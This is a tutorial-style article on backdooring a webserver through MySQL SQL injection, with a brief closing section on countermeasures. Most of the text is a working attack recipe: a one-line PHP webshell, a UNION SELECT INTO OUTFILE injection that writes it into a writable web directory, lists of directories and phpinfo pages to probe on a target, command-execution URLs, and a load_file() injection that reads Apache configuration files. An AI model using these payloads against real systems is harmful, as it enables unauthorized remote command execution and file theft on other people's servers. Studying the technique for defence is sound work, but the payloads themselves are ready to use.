Backdoor webserver using MySQL SQL Injection

MySQL Database is a great product used by thousand of websites. Various web applications use MySQL as their default database. Some of these applications are written with security in mind, and some are not. In this article, I would like to show you how you can exploit SQL injection in order to gain almost full control over your webserver.

Most people know that SQL injection allows attackers to retrieve database records, pass login screens, change database content, through the creation of new administrative users. MySQL does not have a built-in command to execute shell commands, like Microsoft SQL server. I will show you how to run arbitrary commands using standard features provided by MySQL.

First of all, I would like to give a brief description of SQL injection, then I would like to present you with a couple less known methods that exist in MySQL, which I will use to backdoor a webserver. I will use 2 built-in MySQL commands - one that writes arbitrary files and the one that can be used to read arbitrary files. After that I will describe webshells and go to the attack itself.

What is SQL Injection?

SQL injection is an attack that allows the attacker to add logical expressions and additional commands to the existing SQL query. This attack can succeed whenever a user has submitted data that is not properly validated and is glued together with a legitimate SQL query.

For example, the following SQL command is used to validate user login requests:
$sql_query = "select * from users where user='$user' and password='$pass'"

If the user-submitted data is not properly validated, an attacker can exploit this query and pass the login screen by simply submitting specially crafter variables. For example, attacker can submit the following data as a $user variable: admin' or '1'='1 . When this $user variable is glued together with the query, it will look as followed:

$sql_query = "select * from users where user='admin' or '1'='1' and password='$pass'"

Now, the attacker can safely pass the login screen because or '1'='1' causes the query to always return a "true" value while ignoring the password value.

Using similar techniques, an attacker can retrieve database records, pass login screens, and change database contents, for example by creating new administrative users. In this document, I will show how by applying similar techniques, we will be able to execute arbitrary shell commands.

Command 1- Writing arbitrary files

MySQL has a built-in command that can be used to create and write system files. This command has the following format:

mysq> select "text" INTO OUTFILE "file.txt"

One big drawback of this command is that it can be appended to an existing query using UNION SQL token.

For example, it can be appended to the following query:
select user, password from user where user="admin" and password='123'

Resulting query:
select user, password from user where user="admin" and password='123' union
select "text",2 into outfile "/tmp/file.txt" -- '

As a result of the above command, the /tmp/file.txt file will be created including the query result.

Command 2- Reading arbitrary files

MySQL has a built-in command that can be used to read arbitrary files. The syntax is very simple. We will use this command for plan B.

mysql> select load_file("PATH_TO_FILE");

Webshell

Webshell is a polpular and widely used tool for executing shell commands from within the web browser. Some call these tools PHP shells. We will create a very simple webshell that will execute shell commands.

Here is the code of a very basic PHP shell (parameter passed by cmd will be executed):
<? system($_REQUEST['cmd']); ?>

For example, in the following screenshot, id command is executed.

[img_assist|nid=68|title=Webshell - id command|desc=|link=none|align=center|width=640|height=250]

Attack Scenario

1. Find SQL injection

It is out of the scope of this document. You must first find SQL injection.

2. Find a directory with write permission

To create a webshell PHP script, we need a directory with write permission on. Temporary directories used by popular Content Management Systems are a good choice for this. Check the following urls to find one:

  • hxxp://www.target.com/templates_compiled/
  • hxxp://www.target.com/templates_c/
  • hxxp://www.target.com/templates/
  • hxxp://www.target.com/temporary/
  • hxxp://www.target.com/images/
  • hxxp://www.target.com/cache/
  • hxxp://www.target.com/temp/
  • hxxp://www.target.com/files/

In our example we will use a temp directory.

3. Exploit SQL injection - create web shell

You need to append the following string to the legitimate SQL command:

UNION SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --
Some explanation:

  • 2,3,4 are just a qualifier that used to make the same number of columns as in the first part of the select query.
  • /var/www/html is a default web directory in the RedHat-like distributions (Fedora, CentOS).
  • temp is a directory with full write access. In your case it could be a different directory.

The above command will write the query's result with the "<? system($_REQUEST['cmd']); ?>" string appended. Because we added a php extension to the file name, this string will be treated as a PHP command and will allow us to execute shell commands!

4. Execute shell commands

Now it is the easiest part. Simply open the webserver to execute shell commands. In our example it will be:

  • hxxp://www.target.com/temp/c.php?cmd=SHELL_COMMAND

For example:

  • hxxp://www.target.com/temp/c.php?cmd=id

Plan B

In case you failed to create a PHP file due to a wrong path, there are a number of workarounds:

1. Generate PHP errors.

You need to create a situation when a PHP script will fail and the full disk path will be printed in the error message. You can play with page parameters to make this happen.

2. Find the file that will print phpinfo().

In some cases you will be lucky and you will get a phpinfo() function executed. This function prints a wealth of PHP internal information including the current directory location.

Try to access the following urls:

  • hxxp://www.target.com/phpinfo.php
  • hxxp://www.target.com/test.php
  • hxxp://www.target.com/info.php

3. Look for a default web directory location.

You need to get a default web directory location for a web server. Check the following page since it has a big list of default Apache configurations that are used in different distributions.
http://wiki.apache.org/httpd/DistrosDefaultLayout

4. Read the Apache configuration files.

MySQL has a built-in command that allows the attacker to read arbitrary files. We can exploit this command to read Apache configuration files and study directory structures. Simply use the load_file() MySQL function.

For example (SQL query after injection):
select user, password from user where user="admin123" and password='123' UNION select load_file("/etc/apache2/apache2.conf"), 2 -- '

Note:
You can find a location of Apache configurations at this resource:
http://wiki.apache.org/httpd/DistrosDefaultLayout

Limitation

In order to allow the above to work, the MySQL user used by this application must have a FILE permission. For example by default, a "root" user has this permission on. FILE is an administrative privilege that can only be granted globally (using ON *.* syntax).

For example, if the MySQL user was created using the following command, the user will have this FILE permission on.
GRANT ALL PERMISSIONS to *.* to 'USER_NAME'@'HOST_NAME' IDENTIFIED BY 'PASSWORD'

Countermeasures

1. Install the GreenSQL database firewall.

GreenSQL is an open source database firewall that can automatically block the commands described above: load_file and INTO OUTFILE. By default, GreenSQL blocks administrative and sensitive SQL commands. In addition, GreenSQL prevents SQL injections by calculating the risk of each query and blocking queries with high risk. For example , UNION token and SQL comments are taken into account. Check the application website for more information http://www.greensql.net/

2. Do not use MySQL root user to access the database.

Do not use administrative users to access the database. It is recommended to create a distinct user with hardened permissions to access specific databases.

3. Revoke FILE permission from the MySQL user used in your applications.

mysql> REVOKE FILE ON *.* from 'USER_NAME'@'HOST_NAME';

4. Application code review.

Ensure that your application does not have any SQL injections and that the code is updated.

Links

1. MySQL Injection Cheat Sheet
http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/

2. SQL Injection Cheat Sheet
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

3. MySQL Documentation
http://dev.mysql.com/doc/

Back to top